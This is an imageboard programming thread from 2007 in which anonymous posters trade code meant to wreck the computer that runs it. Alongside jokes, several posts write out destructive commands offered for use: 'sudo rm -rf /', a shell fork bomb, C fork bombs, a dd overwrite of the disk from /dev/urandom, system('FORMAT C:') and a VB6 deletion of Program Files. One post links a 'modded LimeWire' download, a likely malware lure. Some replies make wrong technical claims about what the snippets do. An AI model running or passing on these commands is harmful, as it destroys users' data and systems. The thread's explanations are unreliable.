/prog/ - Post some dangerous code

Name: Anonymous 2007-11-10 14:27

Post some code that if compiled and the executable is ran, it will totally kill your computer. I'm talking a real FUBAR.

Name: Anonymous 2007-11-10 14:28

www.opera.com

Name: Anonymous 2007-11-10 14:29

GOTO

Name: Anonymous 2007-11-10 14:57

fork until 0

Name: Anonymous 2007-11-10 16:49

>>1
http://dis.4chan.org/prog/

Name: Anonymous 2007-11-10 17:14

%/^@!/%//^#$%%///^@#$/%/$^/%$

Name: Anonymous 2007-11-10 17:24

while true:
mkdir x
chdir x
done;

bash sappin' mah inodes!

Name: Anonymous 2007-11-10 17:35

I'M THE SUSSMAN
SON OF A BITCH ABELSON
ABELSON IS PIG
DO YOU WANT PYTHON?
DO YOU WANT FORCED INDENTATION OF THE CODE?
ABELSON IS PIG DISGUSTING
GUIDO VAN ROSSUM IS A MURDERER
FUCKING ABELSON

Name: Anonymous 2007-11-10 22:08

#include <signal.h>
#include <math.h>

main() {

(void) signal(SIGSEGV,handler);

void* v = malloc(pow(2,32));

int* i = (int*) v;

for(int j = 0;1;j++) {

i[j] = 0;

}

}

void handler(int sig)
{
return;
}

Name: Anonymous 2007-11-10 22:11

>>9
lol virtual memory paging

Name: Anonymous 2007-11-10 22:31

#include <signal.h>
#include <stdio.h>

main() {

(void) signal(0xFFFFFFFF,handler);

FILE* f = fopen("blah","w");

f->_ptr=0;

for(;;) {

fprintf(f,"LOLWUT");

}

}

void handler(int sig)
{
return;
}

Name: Anonymous 2007-11-10 22:53

This:
for(;;) {

   fprintf(f,"LOLWUT");

}

Should probably be replaced with this:

for(int i = 0;1;i++) {

   fprintf(f,"LOLWUT");
   if(i%1024 == 0) {
   fflush(f);
   }
}

Name: Anonymous 2007-11-11 0:09

*(char*)NULL;

Name: Anonymous 2007-11-11 1:00

sudo rm -rf /

Name: Anonymous 2007-11-11 2:46

#include <stdlib.h>

#include <unistd.h>

int main(){

 for(;fork();malloc(1));

 return 0;

}

Name: Anonymous 2007-11-11 3:08

int main(){

 for(;!fork();malloc(1))fork();

 return 0;

}

Name: Anonymous 2007-11-11 4:35

fork bomb with /bin/sh
:(){ :|:&};:

Name: Anonymous 2007-11-11 4:41

>>17
Valid Perl code.

Name: Anonymous 2007-11-11 10:20



#include <stdio.h>

#include <stdlib.h>

#include <time.h>

#include <pthread.h>



void *lolwut(void *);



int main(int argc, char **argv)

{

    pthread_t *threadArray = NULL;

    int i = 0;

    while(i++||1)

    {

        if(threadArray!=NULL)free(threadArray);

        threadArray = malloc(sizeof(pthread_t) * i);

        pthread_create(&threadArray[i-1],NULL,lolwut,NULL);

    }

    srand(time(NULL));

    return (rand() % 100);

}



void *lolwut(void *data)

{

while(1)

    printf("lolwut");

}

Name: Anonymous 2007-11-11 10:21

(system "sudo dd if=/dev/urandom of=/dev/hda")
(print "HERO!")
((lambda (a) (a a)) (lambda (a) (a a)))

Name: Anonymous 2007-11-11 12:48

public static void main(String[] args) {

}

Name: Anonymous 2007-11-11 12:54

java considered harmful

Name: Anonymous 2007-11-11 14:54

Name: Anonymous 2007-11-11 15:16

>>6
VALID PERL CODE

Name: Anonymous 2007-11-11 15:33

int main(void)

{

    int i = 0;

loopstart:

    i++;

    if ( i < 65535 ) { goto loopstart; }

    return 0;

}

Name: Anonymous 2007-11-11 15:55

>>25
guaranteed to terminate everywhere you moron

Name: Anonymous 2007-11-11 16:02

>>23
http://google.com/search?q=heyska

lol, sup heyska?

Name: Anonymous 2007-11-11 16:29

>>25
You have to try pretty hard to completely fail to construct an infinite loop.

I was going to say something about C having this revolutionary new feature known as a "while loop", but then I realised you're making the "GOTO considered harmful" joke. Well played.

Name: Anonymous 2007-11-11 16:32

http://rapidshare.com/files/69029158/LimeWire.Pro.v4.14.10.rar.html

Modded limewire version, 10x faster.

Enjoy

Name: Anonymous 2007-11-11 16:51

>>28

Thanks.

Name: Anonymous 2007-11-11 16:58

>>30
oh now I see what you did there

Name: Anonymous 2007-11-11 16:59

also, inb4slowpoke

Name: Anonymous 2007-11-11 20:27

>>9 Smashes the stack

>>11 &
>>12
Overwrites the harddrive with "lolwut"

With the signal handler disabled you can get away with a lot more than normal, although I imagine the OS will probably still complain when you try to flush 200 "lolwut"s to the boot sector.

Name: Anonymous 2007-11-11 23:02

GAr. Everything is so much easier in VB6 lol

Path = "C:/Program Files/"

Public Sub Userform_Activate()
On Error Resume Next
Goto Killer
Exit sub

Killer:
Kill Path

End Sub

Name: Anonymous 2007-11-13 20:52

movl 0, esp
movl 0, ebp

Name: Anonymous 2007-11-13 23:11

xor esp, esp
xor ebp, ebp

Name: Anonymous 2007-11-13 23:22

>>36

old school, not the best anymore, speed on par with mov

Name: Anonymous 2007-11-14 0:20

system("FORMAT C:\");

Name: Anonymous 2007-11-14 0:21

system("FORMAT C:\");

Name: Anonymous 2007-11-14 1:48

FUCKING STEROIDS!!! GET OFF THEM GUYS!

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